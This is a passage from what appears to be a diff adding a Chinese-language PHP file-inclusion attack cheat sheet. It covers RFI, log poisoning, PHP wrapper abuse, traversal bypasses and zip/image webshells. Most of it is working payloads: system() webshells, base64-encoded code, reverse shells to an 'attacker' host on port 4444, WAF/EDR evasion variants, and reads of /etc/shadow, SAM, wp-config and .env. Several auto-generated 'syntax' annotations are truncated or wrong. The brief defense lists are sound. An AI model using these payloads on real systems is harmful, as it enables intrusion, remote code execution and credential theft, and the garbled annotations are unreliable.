+ **4. 使用data协议**
160
+ > 使用data协议执行代码
161
+ ```
162
+ ?file=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
163
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
164
+ ```
165
+ **语法解析:**
166
+ - `data://` — Data伪协议 _value_
167
+ - `text/plain` — MIME类型 _value_
168
+ - `base64` — Base64编码 _encoding_
169
+
170
+ **WAF/EDR 绕过变体:**
171
+
172
+ **双写绕过**
173
+ > 双写绕过关键字过滤
174
+ ```
175
+ ?file=htthttp://p://attacker.com/shell.txt
176
+ ?file=http://attackerattacker.com.com/shell.txt
177
+ ```
178
+ **语法解析:**
179
+ - `?file=htthttp://p://attacker.com/shell.txt
180
+ ?file=http://attackerattacker.com.co` — 攻击载荷 _value_
181
+
182
+ **大小写混淆**
183
+ > 大小写混淆绕过
184
+ ```
185
+ ?file=HtTp://attacker.com/shell.txt
186
+ ?file=HTTP://attacker.com/shell.txt
187
+ ```
188
+ **语法解析:**
189
+ - `?file=HtTp://attacker.com/shell.txt
190
+ ?file=HTTP://attacker.com/shell.txt` — 攻击载荷 _value_
191
+
192
+ **协议替换**
193
+ > 使用其他协议
194
+ ```
195
+ ?file=ftp://attacker.com/shell.txt
196
+ ?file=php://filter/convert.base64-encode/resource=http://attacker.com/shell.txt
197
+ ```
198
+ **语法解析:**
199
+ - `?file=ftp://attacker.com/shell.txt
200
+ ?file=php://filter/convert.base64-encode/res` — 攻击载荷 _value_
201
+
202
+
203
+ **概述:** 远程文件包含(RFI)允许攻击者将远程服务器上的恶意文件包含到目标应用中执行,可直接实现远程代码执行。RFI需要PHP的allow_url_include配置开启(默认关闭)。
204
+
205
+ **漏洞原理:** RFI漏洞在LFI基础上进一步利用:当PHP的allow_url_include=On时,include()/require()函数可加载远程URL上的PHP文件并在本地执行。攻击者只需在自己的服务器上放置恶意PHP脚本即可实现RCE。
206
+
207
+ **利用方法:** 完整利用流程:
208
+ 1. 探测远程文件包含
209
+ 2. 托管恶意PHP文件
210
+ 3. 包含并执行代码
211
+ 4. 获取Shell
212
+
213
+ **防御措施:** 防御措施:
214
+ 1. 设置allow_url_include=Off
215
+ 2. 使用白名单验证文件名
216
+ 3. 禁用远程文件包含
217
+ 4. 限制包含目录
218
+
219
+ ---
220
+
221
+ ### 日志投毒LFI `lfi-log-poison`
222
+ _通过日志投毒实现LFI到RCE_
223
+ 子类:**日志投毒** · tags: `lfi` `log` `poison` `rce`
224
+
225
+ **前置条件:**
226
+ - 存在LFI漏洞
227
+ - 可包含日志文件
228
+ - 日志文件可写
229
+
230
+ **攻击链:**
231
+
232
+ **1. 探测日志文件位置**
233
+ > 探测日志文件位置
234
+ _platform: linux_
235
+ ```
236
+ # Apache日志
237
+ ../../../var/log/apache2/access.log
238
+ ../../../var/log/apache2/error.log
239
+ ../../../var/log/httpd/access_log
240
+ ../../../var/log/nginx/access.log
241
+
242
+ # 系统日志
243
+ ../../../var/log/auth.log
244
+ ../../../var/log/syslog
245
+ ```
246
+ **语法解析:**
247
+ - `access.log` — Apache访问日志 _path_
248
+ - `error.log` — Apache错误日志 _path_
249
+
250
+ **2. 投毒User-Agent**
251
+ > 在User-Agent中注入代码
252
+ ```
253
+ # 使用curl投毒
254
+ curl -A "<?php system($_GET['c']); ?>" http://target.com/
255
+
256
+ # 或使用Burp Suite修改User-Agent
257
+ User-Agent: <?php system($_GET['c']); ?>
258
+ ```
259
+ **语法解析:**
260
+ - `-A` — curl设置User-Agent _parameter_
261
+ - `<?php` — PHP开始标签 _value_
262
+
263
+ **3. 投毒请求路径**
264
+ > 在请求路径中注入代码
265
+ ```
266
+ # 在URL路径中注入
267
+ curl http://target.com/<?php system($_GET['c']); ?>
268
+
269
+ # URL编码
270
+ curl http://target.com/%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E
271
+ ```
272
+ **语法解析:**
273
+ - `system()` — 系统命令执行 _function_
274
+ - `curl` — HTTP请求工具 _command_
275
+
276
+ **4. 执行命令**
277
+ > 包含日志文件执行命令
278
+ _platform: linux_
279
+ ```
280
+ # 包含日志文件并执行命令
281
+ ?file=../../../var/log/apache2/access.log&c=id
282
+ ?file=../../../var/log/apache2/access.log&c=whoami
283
+ ?file=../../../var/log/apache2/access.log&c=cat /etc/passwd
284
+ ```
285
+ **语法解析:**
286
+ - `../` — 目录回溯 _technique_
287
+ - `/etc/passwd` — 系统文件 _path_
288
+
289
+ **5. 反弹Shell**
290
+ > 获取反弹Shell
291
+ _platform: linux_
292
+ ```
293
+ ?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
294
+ ```
295
+ **语法解析:**
296
+ - `../` — 路径穿越 _path_
297
+
298
+ **WAF/EDR 绕过变体:**
299
+
300
+ **编码绕过**
301
+ > WAF绕过技术
302
+ ```
303
+ # 使用Base64编码
304
+ <?php eval(base64_decode($_GET['c'])); ?>
305
+ # 然后传递Base64编码的命令
306
+ ```
307
+ **语法解析:**
308
+ - `eval()` — 代码执行 _function_
309
+ - `base64_decode` — Base64解码 _function_
310
+
311
+
312
+ **概述:** LFI日志投毒是将恶意代码注入Web服务器日志(access.log/error.log),然后通过LFI包含该日志文件触发代码执行,是LFI漏洞从文件读取升级到RCE的经典技术。
313
+
314
+ **漏洞原理:** 日志投毒利用Web服务器会将HTTP请求信息(User-Agent、Referer等)写入日志的特性。攻击者在请求头中注入PHP代码(如<?php system($_GET[cmd]);?>),代码被写入日志后,通过LFI包含日志文件触发执行。
315
+
316
+ **利用方法:** 完整利用流程:
317
+ 1. 找到日志文件位置
318
+ 2. 在请求中注入PHP代码
319
+ 3. 包含日志文件
320
+ 4. 执行系统命令
321
+
322
+ **防御措施:** 防御措施:
323
+ 1. 限制日志文件包含
324
+ 2. 过滤日志中的特殊字符
325
+ 3. 禁用PHP执行
326
+ 4. 使用安全日志配置
327
+
328
+ ---
329
+
330
+ ### PHP伪协议利用 `lfi-wrapper`
331
+ _利用PHP伪协议进行LFI攻击_
332
+ 子类:**伪协议** · tags: `lfi` `wrapper` `php` `protocol`
333
+
334
+ **前置条件:**
335
+ - 存在LFI漏洞
336
+ - PHP环境
337
+ - 伪协议未禁用
338
+
339
+ **攻击链:**
340
+
341
+ **1. php://filter**
342
+ > 使用php://filter读取源码
343
+ ```
344
+ # 读取源码(Base64)
345
+ ?file=php://filter/convert.base64-encode/resource=config.php
346
+
347
+ # 读取源码(Rot13)
348
+ ?file=php://filter/read=string.rot13/resource=config.php
349
+
350
+ # 多重过滤器
351
+ ?file=php://filter/convert.base64-encode|string.rot13/resource=config.php
352
+ ```
353
+ **语法解析:**
354
+ - `php://filter` — PHP Filter伪协议 _value_
355
+ - `convert.base64-encode` — Base64编码过滤器 _value_
356
+ - `resource=` — 指定资源文件 _value_
357
+
358
+ **2. php://input**
359
+ > 使用php://input执行代码
360
+ ```
361
+ # POST执行PHP代码
362
+ ?file=php://input
363
+ POST: <?php system('id'); ?>
364
+
365
+ # 执行任意代码
366
+ POST: <?php phpinfo(); ?>
367
+ POST: <?php echo file_get_contents('/etc/passwd'); ?>
368
+ ```
369
+ **语法解析:**
370
+ - `php://input` — 读取POST数据流 _value_
371
+ - `POST` — POST请求体 _method_
372
+
373
+ **3. data://协议**
374
+ > 使用data://协议执行代码
375
+ ```
376
+ # 直接执行代码
377
+ ?file=data://text/plain,<?php system('id'); ?>
378
+
379
+ # Base64编码
380
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
381
+
382
+ # 执行任意命令
383
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=id
384
+ ```
385
+ **语法解析:**
386
+ - `data://` — Data伪协议 _value_
387
+ - `text/plain` — MIME类型 _value_
388
+
389
+ **4. phar://协议**
390
+ > 使用phar://协议
391
+ ```
392
+ # 创建phar文件
393
+ <?php
394
+ $p = new Phar('shell.phar');
395
+ $p->addFromString('shell.txt', '<?php system($_GET["c"]); ?>');
396
+ ?>
397
+
398
+ # 包含phar
399
+ ?file=phar://shell.phar/shell.txt&c=id
400
+ ```
401
+ **语法解析:**
402
+ - `phar://` — PHP归档协议 _value_
403
+ - `shell.phar` — Phar文件 _value_
404
+
405
+ **5. zip://协议**
406
+ > 使用zip://协议
407
+ ```
408
+ # 创建zip文件
409
+ zip shell.zip shell.txt
410
+ # shell.txt内容: <?php system($_GET['c']); ?>
411
+
412
+ # 包含zip
413
+ ?file=zip://shell.zip%23shell.txt&c=id
414
+
415
+ # 使用jpg+zip
416
+ copy shell.jpg+shell.zip shell.jpg
417
+ ?file=zip://shell.jpg%23shell.txt&c=id
418
+ ```
419
+ **语法解析:**
420
+ - `zip://` — ZIP协议 _value_
421
+ - `%23` — URL编码的# _encoding_
422
+
423
+ **WAF/EDR 绕过变体:**
424
+
425
+ **大小写混淆**
426
+ > 大小写混淆绕过
427
+ ```
428
+ ?file=Php://filter/convert.base64-encode/resource=config.php
429
+ ?file=DATA://text/plain,<?php system('id'); ?>
430
+ ```
431
+ **语法解析:**
432
+ - `system()` — 执行系统命令 _function_
433
+ - `base64` — Base64编码 _encoding_
434
+ - `php://filter` — PHP流过滤器 _technique_
435
+ - `data://` — 数据流协议 _technique_
436
+
437
+ **双重URL编码**
438
+ > 双重URL编码绕过
439
+ ```
440
+ ?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php
441
+ ?file=%70%68%70%3a%2f%2finput
442
+ ```
443
+ **语法解析:**
444
+ - `?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php
445
+ ?file=%70%68` — 攻击载荷 _value_
446
+
447
+
448
+ **概述:** PHP伪协议(Wrapper)是LFI漏洞利用的核心技术,通过php://filter读取源码、php://input执行代码、data://传递payload、zip://包含压缩文件等方式扩展LFI的攻击能力。
449
+
450
+ **漏洞原理:** PHP伪协议漏洞利用include()等函数支持的多种流协议:php://filter可进行Base64编码读取PHP源码(避免被执行)、php://input从POST数据读取内容、data://直接嵌入数据、expect://执行系统命令(需扩展)。
451
+
452
+ **利用方法:** 完整利用流程:
453
+ 1. 探测LFI漏洞
454
+ 2. 使用php://filter读取源码
455
+ 3. 使用php://input执行代码
456
+ 4. 使用data://执行任意代码
457
+
458
+ **防御措施:** 防御措施:
459
+ 1. 禁用伪协议(php.ini配置)
460
+ 2. 使用白名单验证
461
+ 3. 限制包含目录
462
+ 4. 升级PHP版本
463
+
464
+ ---
465
+
466
+ ### 目录遍历技术 `lfi-traversal`
467
+ _LFI目录遍历绕过技术_
468
+ 子类:**目录遍历** · tags: `lfi` `traversal` `bypass` `path`
469
+
470
+ **前置条件:**
471
+ - 存在LFI漏洞
472
+ - 存在路径过滤
473
+
474
+ **攻击链:**
475
+
476
+ **1. 基础遍历**
477
+ > 基础目录遍历
478
+ ```
479
+ ../../../etc/passwd
480
+ ../../../../etc/passwd
481
+ ../../../../../etc/passwd
482
+ ..\..\..\windows\win.ini
483
+ ```
484
+ **语法解析:**
485
+ - `../` — 目录回溯 _technique_
486
+ - `/etc/passwd` — 系统文件 _path_
487
+ - `..\\` — Windows路径回溯 _technique_
488
+
489
+ **2. 绕过删除../**
490
+ > 绕过删除../的过滤
491
+ ```
492
+ ....//....//....//etc/passwd
493
+ ....//....//etc/passwd
494
+ ..././..././..././etc/passwd
495
+ ```
496
+ **语法解析:**
497
+ - `....//` — 删除../后变成../ _value_
498
+ - `..././` — 删除../后变成../ _value_
499
+
500
+ **3. URL编码绕过**
501
+ > URL编码绕过
502
+ ```
503
+ ..%2f..%2f..%2fetc/passwd
504
+ ..%252f..%252f..%252fetc/passwd
505
+ %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
506
+ ```
507
+ **语法解析:**
508
+ - `%2f` — 斜杠URL编码 _encoding_
509
+ - `%252f` — 双重URL编码 _encoding_
510
+ - `%2e%2e` — 点号URL编码 _encoding_
511
+
512
+ **4. Unicode编码绕过**
513
+ > Unicode编码绕过
514
+ ```
515
+ ..%c0%af..%c0%af..%c0%afetc/passwd
516
+ ..%c1%9c..%c1%9c..%c1%9cwindows\win.ini
517
+ ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd
518
+ ```
519
+ **语法解析:**
520
+ - `%c0%af` — UTF-8编码的斜杠 _variable_
521
+ - `%c1%9c` — UTF-8编码的反斜杠 _variable_
522
+
523
+ **5. 绝对路径绕过**
524
+ > 使用绝对路径
525
+ ```
526
+ /etc/passwd
527
+ /etc/shadow
528
+ /var/log/apache2/access.log
529
+ C:/windows/win.ini
530
+ C:\windows\system32\config\sam
531
+ ```
532
+ **语法解析:**
533
+ - `/etc/passwd` — 敏感文件路径 _path_
534
+
535
+ **WAF/EDR 绕过变体:**
536
+
537
+ **混合编码**
538
+ > 混合编码绕过
539
+ ```
540
+ ..%2f..%c0%af..%2fetc/passwd
541
+ %2e%2e/%2e%2e/%2e%2e/etc/passwd
542
+ ```
543
+ **语法解析:**
544
+ - `..%2f..%c0%af..%2fetc/passwd
545
+ %2e%2e/%2e%2e/%2e%2e/etc/passwd` — 攻击载荷 _value_
546
+
547
+ **空字节截断**
548
+ > 空字节截断绕过后缀
549
+ ```
550
+ ../../../etc/passwd%00
551
+ ../../../etc/passwd%00.jpg
552
+ ../../../etc/passwd%00.html
553
+ ```
554
+ **语法解析:**
555
+ - `%00` — 空字节截断 _encoding_
556
+
557
+ **点号截断(Windows)**
558
+ > Windows点号截断
559
+ _platform: windows_
560
+ ```
561
+ ../../../windows/win.ini.
562
+ ../../../windows/win.ini...
563
+ ../../../boot.ini……
564
+ ```
565
+ **语法解析:**
566
+ - `../../../windows/win.ini.
567
+ ../../../windows/win.ini...
568
+ ../../../boot.ini……` — 攻击载荷 _value_
569
+
570
+
571
+ **概述:** 目录遍历(Path Traversal)是最基础的LFI利用方式,通过../序列突破应用限定的目录范围,访问文件系统上的任意文件。各种编码和路径规范化技巧可绕过简单的过滤措施。
572
+
573
+ **漏洞原理:** 目录遍历漏洞在应用仅做简单字符串过滤(如替换../)时仍可被绕过:双写(....//→../)、URL编码(%2e%2e%2f)、Unicode编码、混合大小写、操作系统路径差异(Windows反斜杠)等多种绕过技术。
574
+
575
+ **利用方法:** 完整利用流程:
576
+ 1. 探测LFI漏洞
577
+ 2. 尝试基础遍历
578
+ 3. 使用编码绕过
579
+ 4. 读取敏感文件
580
+
581
+ **防御措施:** 防御措施:
582
+ 1. 使用basename()处理路径
583
+ 2. 白名单验证文件名
584
+ 3. 禁用特殊字符
585
+ 4. 使用realpath()验证
586
+
587
+ ---
588
+
589
+ ### PHP Filter链攻击 `lfi-php-filter`
590
+ _利用PHP Filter链进行LFI攻击_
591
+ 子类:**PHP Filter** · tags: `lfi` `php` `filter` `chain`
592
+
593
+ **前置条件:**
594
+ - 存在LFI漏洞
595
+ - PHP环境
596
+ - filter伪协议可用
597
+
598
+ **攻击链:**
599
+
600
+ **1. 读取源码**
601
+ > 使用Filter读取源码
602
+ ```
603
+ # Base64编码读取
604
+ ?file=php://filter/convert.base64-encode/resource=index.php
605
+
606
+ # Rot13读取
607
+ ?file=php://filter/read=string.rot13/resource=index.php
608
+
609
+ # 字符转换
610
+ ?file=php://filter/read=string.toupper/resource=index.php
611
+ ```
612
+ **语法解析:**
613
+ - `convert.base64-encode` — Base64编码过滤器 _value_
614
+ - `string.rot13` — Rot13编码过滤器 _value_
615
+
616
+ **2. 多重过滤器**
617
+ > 使用多重过滤器
618
+ ```
619
+ # 多重编码
620
+ ?file=php://filter/convert.base64-encode|string.rot13/resource=config.php
621
+
622
+ # 去除PHP标签
623
+ ?file=php://filter/read=string.strip_tags/resource=index.php
624
+ ```
625
+ **语法解析:**
626
+ - `|` — 过滤器链接符 _operator_
627
+ - `string.strip_tags` — 去除HTML/PHP标签 _value_
628
+
629
+ **3. Filter链RCE**
630
+ > 使用高级过滤器
631
+ ```
632
+ # 使用iconv过滤器
633
+ ?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
634
+
635
+ # 使用zlib压缩
636
+ ?file=php://filter/zlib.deflate/resource=index.php
637
+ ?file=php://filter/zlib.inflate/resource=data
638
+ ```
639
+ **语法解析:**
640
+ - `php://filter` — PHP过滤器 _method_
641
+
642
+ **4. 读取配置文件**
643
+ > 读取常见框架配置
644
+ ```
645
+ # WordPress配置
646
+ ?file=php://filter/convert.base64-encode/resource=wp-config.php
647
+
648
+ # Laravel .env
649
+ ?file=php://filter/convert.base64-encode/resource=../.env
650
+
651
+ # ThinkPHP配置
652
+ ?file=php://filter/convert.base64-encode/resource=application/database.php
653
+ ```
654
+ **语法解析:**
655
+ - `php://filter` — PHP过滤器 _method_
656
+ - `../` — 路径穿越 _path_
657
+
658
+ **WAF/EDR 绕过变体:**
659
+
660
+ **大小写混淆**
661
+ > 大小写混淆绕过
662
+ ```
663
+ ?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php
664
+ ?file=PhP://FiLtEr/convert.base64-encode/resource=config.php
665
+ ```
666
+ **语法解析:**
667
+ - `?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php
668
+ ?file=PhP://FiLtEr` — 攻击载荷 _value_
669
+
670
+ **编码绕过**
671
+ > URL编码绕过
672
+ ```
673
+ ?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config.php
674
+ ```
675
+ **语法解析:**
676
+ - `?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config` — 攻击载荷 _value_
677
+
678
+
679
+ **概述:** php://filter是LFI漏洞利用中最实用的伪协议,可对文件内容进行各种转换(Base64编码/解码、ROT13等)后输出,最常见用途是读取PHP源代码(避免被服务器解析执行而看不到源码)。
680
+
681
+ **漏洞原理:** php://filter通过链式过滤器对数据流进行转换:convert.base64-encode将PHP源码编码为Base64字符串输出(避免执行)、string.rot13进行ROT13变换、convert.iconv进行字符集转换。过滤器链可组合实现更复杂的数据操作。
682
+
683
+ **利用方法:** 完整利用流程:
684
+ 1. 探测LFI漏洞
685
+ 2. 使用Base64编码读取源码
686
+ 3. 解码获取源码
687
+ 4. 分析源码找其他漏洞
688
+
689
+ **防御措施:** 防御措施:
690
+ 1. 禁用php://filter
691
+ 2. 白名单验证文件名
692
+ 3. 使用realpath()验证
693
+ 4. 限制包含目录
694
+
695
+ ---
696
+
697
+ ### PHP Input执行 `lfi-php-input`
698
+ _利用php://input执行PHP代码_
699
+ 子类:**PHP Input** · tags: `lfi` `php` `input` `rce`
700
+
701
+ **前置条件:**
702
+ - 存在LFI漏洞
703
+ - allow_url_include=On
704
+ - POST方法可用
705
+
706
+ **攻击链:**
707
+
708
+ **1. 基础执行**
709
+ > 使用php://input执行代码
710
+ ```
711
+ # GET请求
712
+ GET ?file=php://input
713
+
714
+ # POST数据
715
+ POST: <?php system('id'); ?>
716
+ POST: <?php echo 'Hello'; ?>
717
+ ```
718
+ **语法解析:**
719
+ - `php://input` — 读取POST数据流 _value_
720
+ - `<?php` — PHP开始标签 _value_
721
+
722
+ **2. 命令执行**
723
+ > 执行系统命令
724
+ ```
725
+ # 执行系统命令
726
+ POST: <?php system($_GET['c']); ?>
727
+ # 然后访问: ?file=php://input&c=id
728
+
729
+ # 使用exec
730
+ POST: <?php echo exec('id'); ?>
731
+
732
+ # 使用shell_exec
733
+ POST: <?php echo shell_exec('id'); ?>
734
+ ```
735
+ **语法解析:**
736
+ - `system()` — 执行命令并输出 _function_
737
+ - `exec()` — 执行命令返回最后一行 _function_
738
+ - `shell_exec()` — 执行命令返回全部输出 _function_
739
+
740
+ **3. 文件操作**
741
+ > 文件操作
742
+ ```
743
+ # 读取文件
744
+ POST: <?php echo file_get_contents('/etc/passwd'); ?>
745
+
746
+ # 写入文件
747
+ POST: <?php file_put_contents('shell.php', '<?php system($_GET["c"]); ?>'); ?>
748
+
749
+ # 列出目录
750
+ POST: <?php print_r(scandir('.')); ?>
751
+ ```
752
+
753
+ **4. 反弹Shell**
754
+ > 获取反弹Shell
755
+ _platform: linux_
756
+ ```
757
+ POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
758
+
759
+ # 或使用
760
+ POST: <?php $sock=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
761
+ ```
762
+ **语法解析:**
763
+ - `EXEC` — 执行存储过程 _keyword_
764
+ - `system()` — 系统命令执行 _function_
765
+
766
+ **WAF/EDR 绕过变体:**
767
+
768
+ **编码绕过**
769
+ > 使用编码绕过
770
+ ```
771
+ # Base64编码
772
+ POST: <?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
773
+ # 解码后: system($_GET['c']);
774
+
775
+ # Rot13编码
776
+ POST: <?php eval(str_rot13('flfgrz($_TRG['p']);')); ?>
777
+ ```
778
+ **语法解析:**
779
+ - `eval()` — 代码执行 _function_
780
+ - `base64_decode` — Base64解码 _function_
781
+
782
+ **短标签**
783
+ > WAF绕过技术
784
+ ```
785
+ POST: <?=system($_GET['c']);?>
786
+ POST: <?=`$_GET[c]`?>
787
+ ```
788
+ **语法解析:**
789
+ - `system()` — 系统命令执行 _function_
790
+
791
+
792
+ **概述:** php://input伪协议可从HTTP请求的POST body中读取原始数据,当与include()结合时,攻击者可通过POST body传递PHP代码实现远程代码执行(需allow_url_include=On)。
793
+
794
+ **漏洞原理:** php://input将POST请求体作为数据流提供给文件包含函数。当include("php://input")被执行时,POST body中的PHP代码将被解析执行。此方式不需要在服务器上创建文件,直接在内存中执行恶意代码。
795
+
796
+ **利用方法:** 完整利用流程:
797
+ 1. 探测LFI漏洞
798
+ 2. 使用php://input
799
+ 3. POST PHP代码
800
+ 4. 获取Shell
801
+
802
+ **防御措施:** 防御措施:
803
+ 1. 设置allow_url_include=Off
804
+ 2. 禁用php://input
805
+ 3. 白名单验证
806
+ 4. 限制POST内容
807
+
808
+ ---
809
+
810
+ ### PHP Data协议攻击 `lfi-php-data`
811
+ _利用data://协议执行PHP代码_
812
+ 子类:**PHP Data** · tags: `lfi` `php` `data` `protocol`
813
+
814
+ **前置条件:**
815
+ - 存在LFI漏洞
816
+ - allow_url_include=On
817
+ - data协议可用
818
+
819
+ **攻击链:**
820
+
821
+ **1. 基础执行**
822
+ > 使用data://协议执行代码
823
+ ```
824
+ # 直接执行
825
+ ?file=data://text/plain,<?php system('id'); ?>
826
+
827
+ # 执行phpinfo
828
+ ?file=data://text/plain,<?php phpinfo(); ?>
829
+
830
+ # 输出文本
831
+ ?file=data://text/plain,Hello World
832
+ ```
833
+ **语法解析:**
834
+ - `data://` — Data伪协议 _value_
835
+ - `text/plain` — MIME类型 _value_
836
+ - `,` — 数据分隔符 _value_
837
+
838
+ **2. Base64编码**
839
+ > 使用Base64编码
840
+ ```
841
+ # Base64编码执行
842
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
843
+ # 解码后: <?php system('id'); ?>
844
+
845
+ # 带参数执行
846
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id
847
+ ```
848
+ **语法解析:**
849
+ - `base64` — Base64编码标识 _encoding_
850
+ - `PD9waHA...` — Base64编码的PHP代码 _value_
851
+
852
+ **3. 命令执行**
853
+ > 执行系统命令
854
+ ```
855
+ # 交互式命令
856
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=id
857
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=whoami
858
+ ?file=data://text/plain,<?php system($_GET['c']); ?>&c=cat /etc/passwd
859
+ ```
860
+ **语法解析:**
861
+ - `system()` — 执行系统命令 _function_
862
+ - `data://` — 数据流协议 _technique_
863
+
864
+ **4. 反弹Shell**
865
+ > 获取反弹Shell
866
+ _platform: linux_
867
+ ```
868
+ ?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
869
+
870
+ # Base64版本
871
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJiYXNoIC1jIFwiYmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjFcIiIpOyA/Pg==
872
+ ```
873
+ **语法解析:**
874
+ - `system()` — 执行系统命令 _function_
875
+ - `data://` — 数据流协议 _technique_
876
+
877
+ **WAF/EDR 绕过变体:**
878
+
879
+ **大小写混淆**
880
+ > 大小写混淆绕过
881
+ ```
882
+ ?file=DATA://TEXT/PLAIN,<?php system('id'); ?>
883
+ ?file=Data://Text/Plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
884
+ ```
885
+ **语法解析:**
886
+ - `system()` — 执行系统命令 _function_
887
+ - `data://` — 数据流协议 _technique_
888
+
889
+ **URL编码**
890
+ > URL编码绕过
891
+ ```
892
+ ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%69%64%27%29%3b%20%3f%3e
893
+ ```
894
+ **语法解析:**
895
+ - `?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%7` — 攻击载荷 _value_
896
+
897
+ **MIME类型变换**
898
+ > 变换MIME类型
899
+ ```
900
+ ?file=data://text/html,<?php system('id'); ?>
901
+ ?file=data://application/x-httpd-php,<?php system('id'); ?>
902
+ ```
903
+ **语法解析:**
904
+ - `system()` — 执行系统命令 _function_
905
+ - `data://` — 数据流协议 _technique_
906
+
907
+
908
+ **概述:** data://伪协议允许在URL中直接嵌入数据内容,当与LFI结合时可将PHP代码作为"文件"被包含执行。支持Base64编码,可绕过部分内容检测(需allow_url_include=On)。
909
+
910
+ **漏洞原理:** data://协议将内联数据作为流提供给文件包含函数:data://text/plain,<?php phpinfo();?>直接传递明文PHP代码,data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+传递Base64编码后的代码,可绕过简单的关键词过滤。
911
+
912
+ **利用方法:** 完整利用流程:
913
+ 1. 探测LFI漏洞
914
+ 2. 构造data:// payload
915
+ 3. 执行PHP代码
916
+ 4. 获取Shell
917
+
918
+ **防御措施:** 防御措施:
919
+ 1. 设置allow_url_include=Off
920
+ 2. 禁用data://协议
921
+ 3. 白名单验证
922
+ 4. 过滤特殊字符
923
+
924
+ ---
925
+
926
+ ### PHP Zip协议攻击 `lfi-php-zip`
927
+ _利用zip://协议进行LFI攻击_
928
+ 子类:**PHP Zip** · tags: `lfi` `php` `zip` `archive`
929
+
930
+ **前置条件:**
931
+ - 存在LFI漏洞
932
+ - 可上传zip文件
933
+ - zip协议可用
934
+
935
+ **攻击链:**
936
+
937
+ **1. 创建恶意Zip**
938
+ > 创建恶意Zip文件
939
+ ```
940
+ # 创建shell.txt
941
+ echo '<?php system($_GET["c"]); ?>' > shell.txt
942
+
943
+ # 创建zip文件
944
+ zip shell.zip shell.txt
945
+
946
+ # 或使用Python
947
+ import zipfile
948
+ with zipfile.ZipFile('shell.zip', 'w') as z:
949
+ z.writestr('shell.txt', '<?php system($_GET["c"]); ?>')
950
+ ```
951
+ **语法解析:**
952
+ - `zip` — 创建zip压缩包 _value_
953
+ - `shell.txt` — 包含PHP代码的文件 _path_
954
+
955
+ **2. 上传Zip文件**
956
+ > 上传Zip文件
957
+ ```
958
+ # 通过文件上传功能上传shell.zip
959
+ # 或通过其他方式上传
960
+
961
+ # 记住上传路径
962
+ /uploads/shell.zip
963
+ ```
964
+
965
+ **3. 包含Zip文件**
966
+ > 包含Zip文件执行代码
967
+ ```
968
+ # 使用zip://协议包含
969
+ ?file=zip://uploads/shell.zip%23shell.txt&c=id
970
+
971
+ # %23是#的URL编码
972
+ # 格式: zip://路径#文件名
973
+ ```
974
+ **语法解析:**
975
+ - `zip://` — ZIP协议 _value_
976
+ - `%23` — #的URL编码 _encoding_
977
+ - `shell.txt` — Zip内的文件名 _path_
978
+
979
+ **4. 图片马**
980
+ > 使用图片马上传
981
+ ```
982
+ # 创建图片马
983
+ copy image.jpg+shell.zip image.jpg
984
+
985
+ # 或使用
986
+ cat image.jpg shell.zip > image.jpg
987
+
988
+ # 包含
989
+ ?file=zip://uploads/image.jpg%23shell.txt&c=id
990
+ ```
991
+ **语法解析:**
992
+ - `%xx` — URL编码 _encoding_
993
+
994
+ **WAF/EDR 绕过变体:**
995
+
996
+ **使用phar://**
997
+ > 使用phar://协议
998
+ ```
999
+ ?file=phar://uploads/shell.zip/shell.txt&c=id
1000
+ # phar://也可以访问zip文件
1001
+ ```
1002
+ **语法解析:**
1003
+ - `?file=phar://uploads/shell.zip/shell.txt&c=id
1004
+ #` — 命令/载荷起始 _command_
1005
+ - ` phar://也可以访问zip文件` — 参数与载荷内容 _value_
1006
+
1007
+ **压缩包嵌套**
1008
+ > 压缩包嵌套绕过
1009
+ ```
1010
+ # 在zip中嵌套zip
1011
+ zip inner.zip shell.txt
1012
+ zip outer.zip inner.zip
1013
+
1014
+ # 包含
1015
+ ?file=zip://outer.zip%23inner.zip%23shell.txt&c=id
1016
+ ```
1017
+ **语法解析:**
1018
+ - `#` — 命令/载荷起始 _command_
1019
+ - ` 在zip中嵌套zip
1020
+ zip inner.zip shell.txt
1021
+ zip outer.zip inner.zip
1022
+
1023
+ # 包含
1024
+ ?file=zip://outer.zip%23inner.zip%23shell.txt&c=id` — 参数与载荷内容 _value_
1025
+
1026
+
1027
+ **概述:** zip://伪协议可从ZIP压缩包中读取并包含指定文件,攻击者上传包含恶意PHP代码的ZIP文件(可伪装为图片等),然后通过LFI的zip://协议包含其中的PHP文件实现代码执行。
1028
+
1029
